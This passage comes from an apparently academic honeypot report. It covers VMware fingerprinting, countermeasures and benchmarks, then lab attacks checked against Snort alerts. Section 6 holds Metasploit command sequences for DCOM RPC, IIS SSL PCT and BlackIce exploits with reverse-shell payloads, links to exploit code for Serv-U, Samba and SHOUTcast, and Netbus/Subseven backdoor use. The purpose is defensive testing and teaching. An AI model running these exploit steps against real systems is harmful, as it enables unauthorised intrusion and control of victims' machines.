Getting bios information in Windows XP is done by selecting Start  Programs
 Accessories  System Tools  System Information. In the System Summary for
example, System Manufacturer is VMware Inc and the System Model is VMware Virtual
Platform. All of these information fingerprints the VMware machine.
Figure 11: Registry info
33
4.8.3 Mac Address Detection
Another method to detect a VMware machine is by looking at the MAC address.
VMware register three OUIs for the physical address. Two Mac addresses are
automatically generated by VMware and the third Mac address could be set up manually
by the user. The Guest OS is limited on having a Mac address of 00-0C-29-XX-XX-XX,
00-05-69-XX-XX-XX, or 00-50-56-XX-XX-XX.
In order to detect VMware MAC address in Windows XP, run command prompt
and type in ipconfig /all. In the output printout, the physical address is the MAC address
of the adapter. In this example the Mac address of VMnet1 is 00-50-56-C0-00-01. Note:
this is the automatic Mac address created by VMware.
Figure 12: Windows XP MAC address
The following screenshots are from Gentoo and Redhat respectively. In order to
get the Mac address, one needs to type the command ifconfig –a. In this case, Mac
address of Gentoo is 00:50:56:00:11:22 and Redhat Mac address is 00:0c:29:36:63:60.
34
Figure 13: Gentoo MAC address
Figure 14: Redhat MAC address
4.8.4 Devices Detection
Sometime it is possible to detect a VMware machine by looking at the system
devices. Some of these devices are unique to VMware machines. This is so because
VMware creates virtual devices that emulate the real working hardware components.
Unlike in UML case where the guest system uses the function call of the host OS to
access a hardware device.
Right click My Computer and select Properties, choose the Hardware tab and
then Device Manager. Under Disk Drive you will see VMware Virtual IDE Hardware
Drive. This disk drive can be used by the attacker to fingerprint the computer as a
VMware machine.
35
Figure 15: Device Manager
4.8.5 Computer System Detection
Although this method only raises suspicion, an attacker could look at the
computer speed, ram, and hard drive space. Though an attacker might be wrong, a
computer with a two gigahertz CPU, 80 megabytes of ram, and 4 gig hard drive isn’t a
typical system. This is so because a typical computer with a two gigahertz CPU has more
ram and a larger hard drive then a virtual HoneyPot machine.
4.9 Countermeasures for VMware Fingerprinting
As VMware HoneyPot machine becomes popular, people are beginning to find
ways to counter the VMware fingerprinting. The following section discusses the different
ways an administrator can prevent an attacker from detecting the VMware machine. The
table below shows the countermeasures which could be taken against the fingerprinting
methods discussed in section 4.6.x.
Section
4.6.1
4.6.2
4.6.3
4.6.4
4.6.5
Fingerprint
VMware Tool Detection
System Detection
Mac Address Detection
Devices Detection
Computer System Detection
Countermeasure
OS Configuration
Script/Hex Editor
OS Configuration
Script/Hex Editor
OS Configuration
Table 1: VMware countermeasures
36
4.9.1 Script/Hex Editor
Ultraedit is a simple hex editor that is used to edit VMware binary file, vmwarevmx.exe. Once the vmware-vmx.exe file is loaded; the administrator can search for
Virtual IDE Hard Drive, Virtual IDE CDROM, etc and change them to the name that is
appropriate.
Figure 16: Hex Editor
This can also be done using scripts that are made to patch VMware. One such
script can be found on the French HoneyNet Project web page. This Linux script gives
the user an option to change the name of the IDE devices, SCSI devices, Video adapter,
and the I/O backdoor used by VMware. http://honeynet.rstack.org/tools.php
4.9.2 OS Configuration
Properly configuring your OS could help prevent the system from being
fingerprinted. To overcome the VMware tools fingerprinting one should not install this
37
feature in the guest machine when the guest OS is built to be a HoneyPot. Then one
should properly configure the VMware to give each virtual machine enough RAM i.e.
128 MB RAM or above. This could be done through the VMware Virtual Machine
Control Panel. Lastly, one should change VMware MAC address, else under the
command prompt, when an attacker uses the command ipconfig /all the default VMware
Mac address is displayed, meaning the Mac address assigned by VMware starts with 000C-29, 00-50-56 or 00-05-69. Operating systems provide a way to change the MAC
address.
In windows, StartControl panelNetwork Connection  (right click on local
connection)  Properties  Configures  Advance tab  Network Address and then
type in the MAC address you want to change to.
Figure 17: Changing MAC address in Windows XP
For Linux machine do the following commands:
ifconfig eth0 down hw ether 00:00:00:00:00:01
ifconfig eth0 up
38
5. VMware Benchmark
Testing has shown that the maximum amount of memory that could be allocated to
all virtual machine is 1024 MB of ram for VMware Workstation version 4.0. VMware
versions 4.5 have their cap raised to 3.6 GB. Thus the maximum number of virtual machine
that can run simultaneously depends on the memory limit. If 640 MB of ram is assigned to
each virtual machine then, only one can run at a time. For my test I used 128 MB of ram.
With this configuration I can run eight virtual machines simultaneously. Even though I
have 640 MB of ram on total, VMware uses the system page file to make up for the rest.
Also the performance of each virtual machine is reduced, due to the lack of physical
memory and disk swapping.
When it comes to creating HoneyNet, a network of HoneyPots, different guest OS
must simultaneously be executed. There is considerable amount of overheads to the host
OS when multiple guest OS are running in VMware. This section will benchmark and
discuss about different methods to fine tune VMware to support a HoneyNet.
Using the default configuration of VMware I assigned 4 GB of total hard disk space
and I configured each of the HoneyPots to have 128MB ram.
To include a Windows XP in my HoneyNet the minimum required amount of RAM
is 64MB and the recommended is 128MB of RAM. Out of the 128MB of RAM assigned to
my HoneyPot machine, Windows XP uses 95MB. The CPU usage comes to 9.47% on
average on a 1.2GHz Duron with 640MB of Ram. Windows XP required 1.5GB of
available hard disk space. The minimum system requirement for Gentoo is 64MB and the
recommended is 128MB of Ram. Of the 128MB of Ram it uses 121MB. Gentoo has less
then 1% CPU usage when all the services in figure 9 are executed. Also it requires
39
minimum 1GB of free disk space. Redhat 6.2 requires 32MB of RAM (48MB
recommended) for GNOME Work-station configuration. Out of the 128MB of RAM that I
assigned to Redhat, it uses 74.3MB of RAM. The CPU usage of Redhat is 1.5% on
average. It requires a minimum of 700 MB disk space with this configuration.
OS
Windows XP
Gentoo
Redhat
Ram UsageGuest OS (MB)
95
121
74.3
Minimum
RAM (MB)
64
64
32
CPU Usage
(MHz)
113.64
12
18
Minimum Hard
Drive (GB)
1.5
1
0.7
Table 2: VMware Bunchmark
The following graph shows the CPU and RAM usage while running different guest OS.
VMware Benchmark
CPU Usage (MHz)
Redhat
Minimum RAM
(MB)
Gentoo
Windows XP
Ram Usage-Guest
OS (MB)
0
20
40
60
80
100
120
140
Figure 18: VMware Benchmark
Some recommended methods to minimize the memory usage are to disable XWindows (GNOME) in Linux OS. This will reduce the memory and CPU usage, thus
allowing more machines to run simultaneously. But note that by reducing the memory and
disk space available to a HoneyPot, an attacker might questions whether the machine is
actually a real machine. Also removing unnecessary processes will help save memory and
CPU usage.
40
6. Studying, Simulating and Analyzing Attacks
Once the administrator finishes setting up the HoneyPot system it is time to
simulate, monitor and analyze the different attacks on the HoneyPot system.
In the
following sections I will discuss about the different attacks and reports given by Snort and
TripWire. To execute some of these exploits I used Metasploit, a platform for testing
exploit code. More information about Metasploit can be found in Appendix E. The choice
of attacks comes from the need to exploit Windows and Linux machines, where the
Windows machine is the primary focus. All the attacks chosen have been tested with their
respective exploitable applications. Buffer overflow attacks are common and are often seen
when an attacker exploits a major vulnerability in an application and gains root privileges.
These types of attacks should be focused on, as opposed to email viruses and other Trojan
horse attacks while building a HoneyPot machine. That is so because there is no physical
user on the HoneyPot machine to accidentally open the email with the virus file. Thus I will
focus more on server software, e.g. buffer overflow attacks, to show how a system can be
compromised without having a user physically present. The following table shows the
different exploits that were used, the target platform and whether Snort detects them.
Section
6.1
6.2
6.3
6.4
6.5
6.6
6.7
6.8
6.9
6.10
Exploit Name
Serv-U Exploit
Superscan
Ethereal Exploit
Netbus
Subseven
Windows DCOM RPC
IIS SMTP Exploit
ISS BlackIce Exploit
Samba trans2open
ShoutCast
Category
Buffer Overflow
Probe / Scanner
Buffer Overflow
Backdoor/ Trojan horse
Backdoor/ Trojan horse
Buffer Overflow
Buffer Overflow
Buffer Overflow
Buffer Overflow
Buffer Overflow
Table 3: Exploits used on the HoneyPot machines
41
Target OS
XP
XP / Linux
XP / Linux
XP
XP
XP
XP
XP
Linux
Linux
Snort
Yes
Yes
Yes
Edit rules
Edit rules
Yes
Add rules
Yes
Yes
Yes
6.1 Serv-U Buffer Overflow Attack: (Windows XP)
Serv-U is a FTP program under windows that allows file to be transferred between
two machines. Serv-U FTPD versions 4.1.0.11 and prior have vulnerability to the buffer
overflow attack. This attack simulation will exploit the feature in Serv-U which shows the
last modified time of the file, often called MODIFICATION TIME (MDTM). This feature
of Serv-U can be overflowed and an attacker can insert their malicious code to gain root
privileges.
6.1.1 Setup
In this demo I will analyze a Serv-U Ftp attack. To stage this attack I have two
machines running. One machine is Windows XP Pro and the other is Linux Gentoo. In the
Windows machine I run Serv-U Ftp 4.1. I had chosen this version of Serv-U because it is
vulnerable to the MDTM attack that we are simulating.
Attack code source: http://www.securiteam.com/exploits/5SP020KCAG.html
Figure 19: Serv-U version 4.1
In my Linux machine I run the Serv-U exploit code, the command that I used is
./test –h 192.168.0.111 –t 4. Test is my complied Serv-U buffer overflow exploitation code.
42
This gives me access to Windows XP main directory. After I gained access, I removed all
the files in the c:\wutemp directory. Typically, an attacker could install a virus or remove
important system file after he gains root access.
Figure 20: Serv-U exploit
The following screenshot shows that the exploit had opened a command prompt on the
target computer without the knowledge of the user.
Figure 21: Buffer Overflow opens prompt
43
6.1.2 Analyze Snort Report
Snort detects this buffer overflow Serv-U attack. After the attack I took steps in
analyzing Snort log files. Looking at the log directory, I noticed that there is an access from
address 192.168.0.171 to the HoneyPot machine. Snort logs access information in separate
directory for different IP addresses.
Figure 22: alert.ids file
The reports in the alert file flag a [priority 1] alert. This means that this is a high
priority alert. Looking at the details of the alert I noticed that it is classified by Snort as an
FTP MDTM overflow attack.
44
Figure 23: Serv-U, FTP MDTM overflow alert
Additional details from the attack can be found in the log’s subdirectory.
Figure 24: Serv-U FTP log subdirectory
In the following screenshots, I see the code that was used to cause the buffer
overflow. Notice that this is the same code as in the exploit source file (test.c). The two
windows below show the same buffer overflow code which are found in Snort and the
source code on my Linux machine. A segment of the code that is similar is highlighted.
45
Figure 25: TCP_32773-21.ids file, Serv-U buffer overflow
Figure 26: Shellcode for Serv-U buffer overflow in the C file
On the other log file, Snort logs the Attack Responses Directory Listing. This log
file shows the directory the attacker had explored, meaning the c:\wutemp directory. With
this information, the administrator is able to get an overview of the directory listings from
the time when the attacker had gained access to the HoneyPot machine.
46
Figure 27: TCP_32774-21.ids file, Serv-U buffer overflow
6.2 Port Scan Probe: (Windows XP)
At times, an attacker will try to probe for an open port before launching an attack on
the system. In order to probe a system attacker often uses port scan tools. Port scan tools
usually will search and display all the ports which are open on the target system.
6.2.1 Setup
For this test scenario I used SuperScan in order to scan a machine with IP address
192.168.0.192. SuperScan is a program that probes a system for open ports. Some features
in SuperScan include: scan by port list, scan all ports from a given range, and ping.
47
Figure 28: SuperScan version 3.00
6.2.2 Analyze Snort Report
The alert report from Snort shows a list of probes from the scan. These alerts are
classified by Snort under “Attempted Information Leak”. If an administrator sees a report
like this, he will be able to conclude that this is a port scan launched from an outside
computer, in this case from IP address 192.168.0.191.
Figure 29: SuperScan alert
48
6.3 Ethereal Buffer Overflow Exploit:
Ethereal is a network protocol analyzer which is widely used tool for
troubleshooting, software development, education, etc. In older version of Ethereal there is
an exploit which allows a user to gain root privileges or crash Ethereal. For this example I
will test what happens when an attacker uses the buffer overflow exploit on ethereal.
6.3.1 Setup
For this setup my Gentoo (IP 192.168.20.128) machine is set up to run the exploit
code. This code is designed to overflow a buffer in ethereal, by means of a specially crafted
packet, causing a denial of service and possibly opening a port so that an attacker can gain
access to the target computer (IP 192.168.0.192). The list of target machines that are
vulnerable include Gentoo and Redhat, but applying this exploit to ethereal running on
Windows XP also causes a denial of service.
Figure 30: Ethereal exploit execution
49
On my Windows XP machine I set up Ethereal version 0.10.0 so that it is in capture
packets mode. While in this mode, Ethereal will capture all incoming packets. Among these
packets, it will capture the buffer overflow packets which are designed to exploit ethereal.
If I close the capture Ethereal will crash because it tries to read the corrupted packet.
Figure 31: Ethereal Capture
Using a newer version of Ethereal, the corrupted packet will not be able to crash
Ethereal version 0.10.5.
Looking at the captured packet, I see that they are labeled as a
Membership Query which uses the IGAP protocol.
Figure 32: Ethereal membership query
50
6.3.2 Analyze Snort Report
Looking at Snort Report I see that it recorded the packets as an IGMP overflow
attempt to gain administrative privileges. These are priority 1 messages, meaning it is a
high alert and must be looked at carefully. Also notice that the packet IP address is
192.168.0.128. This is not the IP address of the attackers’ computer (192.168.0.206). An
administrator must always be careful when checking IP addresses because the source
address could be changed. Having an IP address doesn’t necessarily mean that the IP
belongs to whoever is sending it.
Figure 33: Eethereal exploit alert
6.4 Netbus Backdoor: (Windows XP)
Netbus is a backdoor program that allows a malicious user to spy and spoof the
target computer. Netbus can sometimes infect a computer if a computer opens a file that
has the Netbus program on it. Sometimes Netbus installation program will disguise itself to
51
be an ICQ installation program that failed when it is installed. Once installed Netbus will
open a port and allow a hacker to gain access to the exploited computer.
6.4.1 Setup
Netbus consists of two programs a server and a client. In order to infect a computer,
a server program sometimes disguises itself as an ICQ executable file that a naive user
installs on his computer. The user will see an error message and assume that the file is
corrupted; however Netbus had opened a port on the vulnerable computer.
Figure 34: Netbus installation
From the intruders’ side, in order to gain access to a vulnerable computer one needs
to run the client program. This application will connect to a computer that is running
Netbus server. It allows the hacker to spy and take control of the infected computer.
52
Figure 35: Netbus Client
By default Snort wouldn’t be able to detect a Netbus attempt at a computer because
the rule is commented out in Snort. To allow Snort to detect Netbus go to
c:\snort\etc\snort.conf and search for backdoor, then uncomment the backdoor detection
rule as shown.
Figure 36: Snort - editing the snort.conf file for Netbus
Then, edit the file found in c:\snort\rules\backdoor.rules as needed. In this case I
removed the line flow:from_server,established; content:"PWD"; from the rules in order for
Snort to record Netbus.
53
Figure 37: Snort- editing backdoor.rules file for Netbus
6.4.2 Analyze Snort Report
Looking at the report given by Snort, I see that the backdoor Netbus active is logged
as priority 3. Snort recognizes that an attack is launched from computer with IP address
192.168.0.191 to IP address 192.168.0.192. Note: Snort records the packets going from the
HoneyPot machine to the attackers’.
Figure 38: Snort detecting Netbus in alert.ids file
54
6.5 Subseven Backdoor
Similar to Netbus, this backdoor program opens a port on the vulnerable machine,
giving an intruder control of the computer. Subseven considered being a Trojan horse
attack which by default uses port 27374. Once installed, Subseven will modify the registry
to start up this program when Windows XP restarts. On newer versions of Subseven the
server could be launched from eight possible locations such as registry, win.ini, system.ini
etc. The file name is randomly generated and hard to manually remove without using
antivirus software. However, if one chooses to manually remove this server application go
to the following link http://www.geocities.com/merijn_bellekom/new/sub7guide/
The following is a screenshot of the client application that runs on the attackers’
computer.
Figure 39: Subseven version 2.1.5
The additional feature that Subseven gives over Netbus includes the ability to edit
the server executable file. Using these options an attacker could change the icon display of
the server, get an email when the victim opens the server etc. These features give the
55
attacker the ability to customize the server based upon his needs. The following screenshot
shows the EditServer features provided by Subseven
Figure 40: Subseven server editor
6.5.1 Analyze Snort Report
Looking at the alert.ids file, I see that a backdoor Subseven attack has being launch.
Once again this is priority 3 same priority level as of Netbus. The port that is opened on the
victims’ computer is port number 27374 where the attackers’ port is 3180.
Figure 41: Snort alert.ids file detecting Subseven
56
Looking in the C:\Snort\log\192.168.0.192 directory, in the *.ids file I see that a
connecting has been established from Legends 2.1, which is the name of the Subseven
version used in the attack.
Figure 42: Snort log file for Subseven
6.6 Windows DCOM RPC Exploit
DCOM (Distributed Component Object Model) is a set of interfaces which allow
client program objects to request services from server program objects on other computers
on the network. DCOM uses the RPC (Remote Procedure Call) protocol. RPC provides
inter process communication method that allows a program running on one computer to
execute code on a remote system. By default Windows XP comes with DCOM RPC which
opens port 135 (Windows RPC port).
In Windows XP there is a vulnerability that exists in DCOM RPC, which allows the
attacker to overflow the buffer and execute malicious code. The most notable worm that
uses this exploit is the W32 Blaster Worm.
57
6.6.1 Setup
For this experiment, I used Metasploit to set up the Windows DCOM RPC attack.
The following commands are used to configure Metasploit and execute the code.
use msrpc_dcom_ms03_026
set TARGET 0
set PAYLOAD winreverse
set RHOST 192.168.0.192
set LHOST 192.168.0.191
exploit
The following screenshot shows a successful connection to the victims’ computer. The
hacker gained full access to the HoneyPot.
Figure 43: Windows DCOM RPC Exploit execution.
6.6.2 Analyze Snort Report
The alert.ids file shows a RPC buffer overflow exploit being executed from
computer with IP address 192.168.0.191. Also Snort reports an attempt to gain
administrative privileges and labels it as priority 1.
58
Figure 44: Snort DCOM RPC alert
6.7 IIS SMTP Exploit
Microsoft provides their users with the Internet Information Services (IIS). IIS is a
powerful web server that provides services such as FTP, HTML, SMTP, etc. By default
Windows XP does not enable the IIS services. The user must manually setup IIS on their
computer.
IIS provides SMTP service component that facilitates the transmission of Internet
mail. SMTP uses SSL (Secure Sockets Layer) to secure the exchanged information
between a client and a server. And SSL uses PCT (Private Communication Technology)
protocol which provides encryption, authentication and verification of the exchanged
information.
Vulnerability exists in PCT protocol stack which allows malicious users to overflow
the buffer and execute arbitrary code.
6.7.1 Setup
First, Install IIS from StartControl panel  Add/ Remove programs
Add/Remove windows components. Second, set up SMTP to use SSL go to, Start
Control panel administrative toolsInternet Information Services. Right click Default
59
SMTP Virtual Severproperties  Access tab Authentication use the setting as shown,
and click Ok.
Figure 45: SMTP setup
In order to create a test certificate for SMTP, download MakeCert from the
following link:
http://download.microsoft.com/download/platformsdk/Update/5.131.3617.0/NT45XP/ENUS/makecert.exe.
Execute this program in cmd using the command: makecert -r -pe -n
"CN=www.yourserver.com" -b 01/01/2000 -e 01/01/2036 -eku 1.3.6.1.5.5.7.3.1 -ss my -sr
localMachine -sky exchange -sp "Microsoft RSA SChannel Cryptographic Provider" -sy
12.
Now go to, Start Control panel administrative toolsInternet Information
Services. Right click Default SMTP Virtual Severproperties  Access tab  Certificate
and select the existing certificate.
In Metasploit I used the following commands to perform the SSL PCT attack.
use windows_ssl_pct
set PAYLOAD winreverse
set RHOST 192.168.0.192
60
set LHOST 192.168.0.191
set RPOTO smtp
set RPORT 25
set EXITFUNC thread
set TARGET 6
exploit
The following screenshot shows a successful execution of the exploit. The
malicious user gains access to the HoneyPot machine IP address 192.168.0.192.
Figure 46: SMTP exploit execution
6.7.2 Analyze Snort Report
Interestingly, Snort does NOT detect the PCT overflow exploit. It might be possible
to manually edit the SMTP rules in Snort to give an alert when port 25 is opened. But by
default the predefined rules doesn’t recognized the PCT SMTP buffer overflow.
61
6.8 ISS BlackIce Exploit
BlackIce is a personal firewall built with intrusion detection system. It has the
ability to inspect inbound and outbound information as well as block connections. The
intrusion detection system will determine, alert and block possible attacks.
There is
vulnerability in BlackIce version 3.6.ccf and prior, which allows an attacker to overflow the
buffer and execute code in the system.
6.8.1 Setup
On the HoneyPot machine, I installed the BlackIce server version 3.6.ccf. In order
to perform the BlackIce Overflow, I set up Metasploit using the following commands:
use blackice_pam_icq
set RHOST 192.168.0.192
set PAYLOAD winreverse
set TARGET 5
set LHOST 192.168.0.191
set EXITFUNC thread
exploit
BlackIce will not detect the invasion.
The following screen shows the successful attack on the Windows XP HoneyPot. The
hacker gained access to the BlackIce directory and from there he can explore the entire
system.
62
Figure 47: BlackIce exploit execution
6.8.2 Analyze Snort Report
Snort detects this exploit as an overflow attempt. The following is a screenshot of
the alert.ids file. This is considered as priority 2.
Figure 48: Snort alert.ids file for BlackIce
This is a screenshot of another file in the log directory. Here we see the script to overflow
the buffer.
Figure 49: Snort log file for BalckIce exploit
63
6.9 Samba trans2open Overflow
Samba is an application in UNIX to share folder with Windows XP. It gives UNIX
users access to the networking protocols in Windows products. Samba server is vulnerable
to buffer overflow when it uses the function trans2open(). This allows the hacker to gain
root shell to the vulnerable computer. Samba versions 2.2.8 and prior are open to this
attack.
6.9.1 Setup
Download Samba version 2.2.0 form http://us1.samba.org/samba/samba.html
(download the previous version). I installed samba on Redhat 6.2 and set up the server
according to the following web site http://www.kempston.net/solaris/samba.html . Once
samba is installed a user in XP machine can see and open the shared directory on Redhat.
As shown in the screenshot Redhat is Samba 2.2.0 and Vixen 2 is the XP computer.
Figure 50: Seeing Samba machine on windows XP
Running the exploit code from http://www.adamantix.org/sambal.tar.gz I managed
to gain root access on the HoneyPot Redhat machine. The following screenshot shows the
brute force attack on the Linux machine.
64
Figure 51: Gaining root access using Samba exploit
6.9.2 Analyze Snort Report
Analyzing the alert file, I see that this intrusion is considered by Snort as trans2open
buffer overflow. I also see that it is labeled as priority 1 and the malicious user gained root
access. This report is correct because this exploit is attacking the vulnerability in the
trans2open function of Samba.
Figure 52: Snort alert.lds file for Samba exploit
65
Looking at the files in the subdirectories, I can get more details of these alerts. In
the first screenshot, I see the actual packet that is sent to overflow that buffer. In the second
screenshot, I see the success of gaining root access to the target machine, uid=0(root).
Figure 53: Snort log file for Samba exploit
6.10 SHOUTcast Remote Exploit
SHOUTcast is a free Winamp streaming audio application that allows other people
to tune into your broadcast.
Vulnerability exists in SHOUTcast version 1.8.9 and prior,
which can be downloaded from the following link: http://freshmeat.net/redir/shoutcast/160
41/url_tgz/shoutcast-1-8-9-linux-glibc6.tar.gz . I installed this server in my HoneyPot
Redhat machine.
The following screenshot shows the execution of the SHOUTcast server on the
Redhat machine.
66
Figure 54: ShoutCast execution
I compiled and executed the code from http://www.netric.org/exploits/mayday-linux.c
page. Once executed the screenshot below shows the success of gaining root access.
Figure 55: ShoutCast exploit execution
6.10.2 Analyze Snort Report
The report from Snort shows a potential bad traffic, which returns root. This is
considered as priority 2 (first screenshot). Interestingly, snort does not recognize this attack
as a SHOUTcast attack; however Snort allows the user to insert their rules such that it will
67
properly identify this attack. The second screenshot shows the id information that is
returned after a successful attack.
Figure 56: Snort alert. ids and log files for ShoutCast exploit
7. Related work
Other work regarding virtual-machine includes “Operating System Support for
Virtual Machines” [6]. In this paper the authors discuss about two different classes of
virtual-machine monitor (VMM). Virtual machine of Type I class is built on top of the host
platform which is the physical hardware. Type II virtual machines are built on top of the
host OS. Type II virtual machine interact with the physical hardware through the system
call provided by the host OS. As mentioned in this paper, VMware is a hybrid system that
has features of both Types I and II while UMLinux and UML are completely Type II
machines. Also in this paper the authors discuss methods to reduce the overhead of Type II
VMM. Implementing those methods, the authors managed to reduce the overhead of Type
II VMM by 14-35%.
68
In the paper “When Virtual Is Better than Real” [7], the authors argue the need to
migrate from the physical machine, the OS and its applications into a virtual machine. In
their paper Peter M. Chen and Brian D. Noble discuss about three different services
which would benefit from the migration. These services include secure logging, intrusion
prevention and detection, and environment migration. Also, in their work they talk of the
challenges of migrating to a virtual environment. The two primary challenges of doing so
are performance and the semantic gaps between the virtual and physical environments.
These challenges could be overcome, as discussed in this paper.
The paper “ReVirt: Enabling Intrusion Analysis through Virtual-Machine
Logging and Replay” talks about the Revirt Project at the University of Michigan which
studied ways to improve system loggers. The goal of the project is to address two
problems of current loggers: lacking integrity and completeness. Lacking integrity means
that current loggers trust the kernel which they run on e.g. loggers store their log files on
the local file system. If the attacker gains access to the system then the log files are
compromised. Revirt solves this by running the logger in a different domain than the
target system. Lacking completeness means loggers do not log enough information to
recreate an attack. The resulted software, Revirt, logs enough information to replay the
execution of a system before, during and after the system is compromised by the intruder.
Revirt gives the administrator the ability to stop the replay phase at different points of the
attack so that he/she could examine the system state and diagnose the intrusion. Also
studies at the University of Michigan have shown that the overhead for Revirt usage is
low, thus an administrator can run Revirt for an extensive amount of time without
requiring additional hardware.
69
In the book “HoneyPot Tracking Hackers” by Lance Spitzner, the author
discusses about different type of HoneyPot available. The author starts out with a
discussion of low-interaction HoneyPot and then steps forward into high-interaction
HoneyPot. Low-interaction HoneyPot implies that the HoneyPot is a piece of software
that emulates a variety of services, e.g. Telnet, SMTP, and HTTP. Some software that fall
into this category are Specter, HoneyD and BackOfficer. When attackers attack these
HoneyPots they are attacking an emulated server created by the application which is
designed to log the activities of the intruders. High-interaction HoneyPot implies that the
HoneyPot an actually system that is designed to be exploited. Software that runs under
these HoneyPots are real software as opposed to emulated applications as in a lowinteraction HoneyPot. Meaning that if the HoneyPot has a HTTP server up, the HTTP
application is an actual Apache HTTP server. These HoneyPots are more realistic and
require manual configuration and setup to effectively lure and monitor intruders. My
paper will fill in on what this book did not fully mention. In my paper I discussed steps
that must be taken when setting up a high-interaction HoneyPot using VMware. Unlike
low-interaction HoneyPot where one only needs to install one application, highinteraction HoneyPot required the installation of the OS, applications, monitoring tools,
etc. This paper will discuss, in fine details, of the steps that are required in setting up and
testing a high-interaction HoneyPot.
8. Summary
This paper has explored different ways of building HoneyNet. Out of these
methods, I looked closely at UML and VMware. This paper shows the steps that are
necessary in creating a HoneyPot machine. It explains what the administrator should look
70
out for while building a HoneyPot, e.g. VMware and UML fingerprinting and security
issues. I explained monitoring techniques and ways to test exploits.
This paper shows the different methods of fingerprinting that an attacker could use
to determine if it is a virtual system. It also shows different ways to countermeasure
fingerprinting. Thus making the attacker believe he/she is attacking the real system.
Security issues are also discussed in this paper. To prevent an attacker from
exploiting the HoneyPot system and then use the system to attack other networks, I used a
firewall. Not only does setting up a firewall protect other networks, but also it is possible
for a firewall to protect the host OS from intruders inside the HoneyPot system.
The two monitoring tools I used are Snort and TripWire. These software are
traditionally used on private networks to monitor and detect intrusions. I discussed how
these software can be set up on a HoneyPot system to detect an attackers and learn about
their exploits.
I looked at Metasploit, a platform for building and testing exploits. Using this
software I showed how easy it is to test the HoneyPot monitoring system against different
exploits. Also with this tool, I am able to find out what Snort can and cannot detect. Thus I
am able to find out what additional rules I must write and add to Snort so that it can detect
the newer exploits.
VMware benchmarking is done in this paper to show how effective VMware is
when it is used to build a HoneyNet. I have shown different ways to reduce the memory
and CPU usage of each HoneyPot. Thus larger HoneyNet system can be created without
the need of additional hardware.
71
9. Conclusion
In conclusion, many issues need to be considered in order to build a good
HoneyPot. First, since the majority of computers in homes and work places use Windows
OS, most of the attacks are written to target Windows machines. Therefore, the
HoneyNet must have Windows HoneyPot system. Second, the HoneyNet should be built
using a virtual machine. This is so because a HoneyNet built using a virtual machine is
cheaper, easier to set up, easier to maintain and monitor. In addition, the administrator
could continue with his/her real work on the host machine. Third, a HoneyPot is only
effective when an attacker believes he/she is attacking a real system. Thus fingerprinting
countermeasures must be implemented and carefully set up to make the HoneyPot appear
to be a real working system. Forth, proper monitoring and detection tools must be
installed on the HoneyNet. These tools should be able to alert the administrator and
provide him/her sufficient information to learn about the attackers methods. In addition,
these monitoring and detection tools must provide properly organized information to the
administrator so he/she could pin point the attack and not spend most of his/her time
seeking for the attack information. Fifth, the administrator must have a proper firewall
installed on the host OS. The firewall must be able to protect the host machine and
prevent attackers from inside the HoneyPot machine to attack other systems on the public
network. Sixth, the host machine should be built to be secure as possible. Meaning, it
should be fully patched with all the latest updates. Doing so would prevent an attacker
from exploiting the host machine. Lastly, the HoneyPot machine should be build to be
appealing to the attackers. It must be configured with different services and settings.
72
Also, using an out of box OS for the guest is advisable because this would make the
system more appealing and thus deter the intruder from the real system.
73
References
[1] Bob Pelletier (2004). “Connection Redirection Applied to Production Honeypots”.
[2] Ryan C. Barnett (2002) “Monitoring VMware HoneyPots”.
http://honeypots.sourceforge.net/monitoring_vmware_honeypots.html#test_scenario
[3] University of Cambridge (2004). “Xen – The Xen virtual machine monitor”.
http://www.cl.cam.ac.uk/Research/SRG/netos/xen/
[4] VMware - AN EMC COMPANY http://www.vmware.com/support/ws45/doc/
[5] The User-mode Linux Kernel Home Page http://user-mode-linux.sourceforge.net/
[6] Samuel T. King, George W. Dunlap, Peter M. Chen (2003). “Operating System
Support for Virtual Machines”
[7] Peter M. Chen and Brian D. Noble. “When Virtual Is Better than Real”.
[8] Linux Productivity Magazine, TripWire (Volume 2 Issue 4, April 2003)
http://www.troubleshooters.com/lpm/200304/200304.htm
[9] Skas Mode http://user-mode-linux.sourceforge.net/skas.html
[10] George W. Dunlap, Samuel T. King, Sukru Cinar, Murtaza A. Basrai, Peter M. Chen
(2002) “ReVirt: Enabling Intrusion Analysis through Virtual-Machine Logging and
Replay”
[11] Michael Clark “Virtual Honeynets”
http://216.239.41.104/search?q=cache:rkFWOBpMbmkJ:safariexamples.informit.com/032
1108957/chp11/vmware.html+host-only+network+honeypot+&hl=en
[12] “Know your Enemy Defining Virtual Honeynets , Different types of virtual Honeynets”
http://www.it-faq.pl/Honeynet/virtual/
74
Appendices
Appendix A: TripWire
A.1 Installing TripWire
To install TripWire do “emerge tripwire” on Gentoo; this will install the TripWire
application on the Linux HoneyPot machine.
Once TripWire is installed, you can make changes to the policy file and configuration file
by editing the two files:
/etc/tripwire/twpol.txt
/etc/tripwire/twcfg.txt
To generate cryptographic key and initialize the database use the command:
/etc/tripwire/twinstall.sh
tripwire --init
In order to run integrity check of the current file system against that stored in the database,
use the command:
tripwire --check
To print out the report type:
twprint -m r --twrfile /var/lib/tripwire/report/<name>.twr
To update the policy file use the command:
twadmin --create-polfile -S site.key /etc/tripwire/twpol.txt
To update the configuration file use the command:
twadmin --create-cfgfile -S site.key /etc/tripwire/twcfg.txt
75
Below you see a printout example of the results; two files in the temp directory and one
TripWire data file were added after the initial baseline database was created.
A. 1: TripWire changes report
Looking at the file details, TripWire report that the file mymachine.twd, hello.txt, and
hello1.txt have been added.
A. 2: Tripwire details report
Appendix B: Snort
B.1 Installing WinPcap:
Snort uses the library in WinPcap, so before installing Snort install the WinPcap. The
library is found at http://winpcap.polito.it/. Make sure that the version is 3.0; version 3.1
beta will give you an error message when you try to run Snort, as of the writing of this
paper.
76
B. 1: WinPcap
B.2 Installing Snort:
The window version of snort can be found at http://www.snort.org/dl/binaries/win32/.
Snort can be used as a packet logger, which logs all incoming packets into the log
directory. The command to do so is:
snort –dev –l d:\snort\log
To use snort in Network Intrusion Detection Mode, meaning to log only packets that fit a
certain rule, use the command:
snort –d –h 192.168.1.0/24 –l d:\snort\log –c d:\snort\etc\snort.conf
The screen below shows snort in Network Intrusion Detection Mode. This mode will create
an alert file in the log directory, if the packet fits one of the rules in the file “snort.conf”.
77
B. 2: Snort execution
B.3 Testing Snort:
Then, I did a telnet access from Clarkson University to my home computer. Snort alerted
me about the telnet access attempts from the school computer, and saved it in the log
directory.
B. 3: Snort alert.ids file reporting telnet access
Appendix C: UML
C.1 Installing UML
The installation of UML could be found at http://www.gentoo.org/doc/en/uml.xml
NOTE: If emerge doesn’t work, use the document in the following link to manually
